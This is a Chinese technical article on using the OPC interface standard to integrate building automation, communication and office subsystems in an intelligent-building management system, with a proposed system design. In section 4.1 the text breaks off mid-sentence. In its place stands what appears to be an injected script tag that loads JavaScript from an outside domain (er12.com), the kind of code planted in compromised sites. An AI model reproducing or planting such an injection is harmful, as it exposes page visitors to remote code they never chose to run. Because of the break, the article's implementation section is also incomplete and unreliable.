用OPC实现IBMS的信息集成

摘 要:本文介绍了opc技术在智能建筑系统集成中的运用,设计了基于opc技术的建筑物集成管理系统的模型,并给出了opc数据访问服务器和opc在客户端的具体实现方法。

关键词:opc 智能大厦 ibms 信息集成

1 引言

智能建筑(intelligent building,ib)是20世纪80年代中期随着控制技术的发展而出现的。到了现成,随着计算机网络和通信技术的发展,智能建筑、智能小区在我国已经成为最热门的话题之一。

建筑物集成管理系统(integrated building management system,ibms)是一种以实现楼宇自动化系统集成为重点,广泛涉及通信自动化系统和办公自动化系统的集成系统。

智能建筑系统的信息集成包括了底层控制网的集成、控制网与局域网的集成、局域网与信息网的集成。本文分析和研究了用opc技术实现智能建筑信息集成的方法并给出了opc服务器和opc客户端的具体实现方法。

2 opc的体系及服务模式

opc是一种设备服务器的标准接口,它能够被连接到i/o装置、plc、现场总线等,该技术能提供一种即插即用的硬、软件组合,使用户很容易地将它们集成为完整的自动控制系统。目前,由于设备的不同和开发商的不同,各种自动化系统都设计了各自专用的接口,这样就导致了不同的开发商设计生产的产品不能实现互相通信,因而不具有互操作性。而且,对大型的集成系统来说,在软、硬件组件的选择上受到很多的限制,浪费了大量的财力却不能保证所集成系统的质量。opc标准出现以后,对于依据opc标准软、硬件组件来说,由于它们都遵循单一的、标准的通信规约,系统的集成变得容易了,系统的造价也会降低。

利用opc技术开发的服务器提供了现场设备与应用软件之间的接口,其体系结构如图1所示。

在应用程序一边,有两个接口:定制(custom interface)和自动接口(automation interface)。定制接口主要用于用c/c++环境的高效率、高性能的应用,自动接口主要用于脚本语言如vb、delphi的应用。在设备端,遵循opc标准的现场设备可与opc服务器通信,opc服务器就相当于设备驱动器软件。在这种结构中,opc服务器对现场设备而言是客户端,而对应用程序而言,它又是服务器端。这样,opc服务器在现场设备与应用程序之间起到了接口的作用,使得应用程序与设备之间的通信变得简单易行。

3 ibms的设计思路

opc规范的引入,使得楼宇控制系统中硬件软件的配置更加灵活。如图2所示。

由图我们可以知道,硬件制造商只要开发出符合opc规范的驱动程序(图2中的opc服务器),就可以一劳永逸,因为这个服务器能够被所有符合opc规范的客户软件所应用。而应用软件开发商只要开发出带opc客户接口的应用软件,就可以和所有提供opc服务器的硬件或者其它软件交互。

这样的系统可以很方便地修改和升级,增加一个设备(当然需要提供opc服务器),所有的应用软件都可以与之进行数据交互;增加一个应用软件,只要它能够提供opc客户接口,那么它也能和所有的硬件进行数据交互。

进一步地,如果将硬件设备驱动器程序和通信程序封装成独立的opc服务器或者在一个软件中既带有opc客户接口,同时也能够提供opc服务器接口,那么它们就可以做到嵌入式运行。这样做使得系统的模块化、开放性、重用性和灵活性大大提高。不同厂商的应用软件和现场设备只要提供符合opc规范接口,它们就可以很方便地集成到整个系统中去,从而可以系统的灵活配置和多个子系统的真正集成。

本文所设计的智能建筑集成管理系统(ibms)正是基于这样一种思路。其系统总体结构如图3所示。

如图,各子系统通过opc客户接口与符合opc规范的现场设备(目前,opc基金会成员数已达到200多家,包括了世界上大多数比较著名的设备制造商)实现数据交互;而中央监控站各应用软件亦通过opc客户接口与提供opc服务器接口的各子系统实现数据交互。这样,通过标准化的opc客户接口和opc服务器接口,中央监控站就可以和各子系统及现场设备进行数据通信,从而达到控制和管理的目的,实现了系统的集成。这样的系统,可以大量地使用不同生产商的硬件设备和应用软件,只要它们是符合opc规范的,在系统的集成中就不会带来任何困难。

同时,采用opc规范对于系统的修改和升级也带来了极大的方便。在系统增加硬件设备或应用软件时,只需要求该硬件设备或应用软件符合opc规范,即硬件设备需要提供opc服务器接口,而应用软件需要带有opc客户接口(至于应用软件是否需要带有opc服务器接口,这要根据实际应用需要来确定。如果此应用软件还需要向上级应用提供服务,则必须带有opc服务器接口;否则不必带opc服务器接口),就可以方便地将硬件设备或应用软件加入到系统中,实现系统的无缝集成。

4 opc服务器的实现

4.1 opc服务器

opc服务器规范包括3种:opc?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计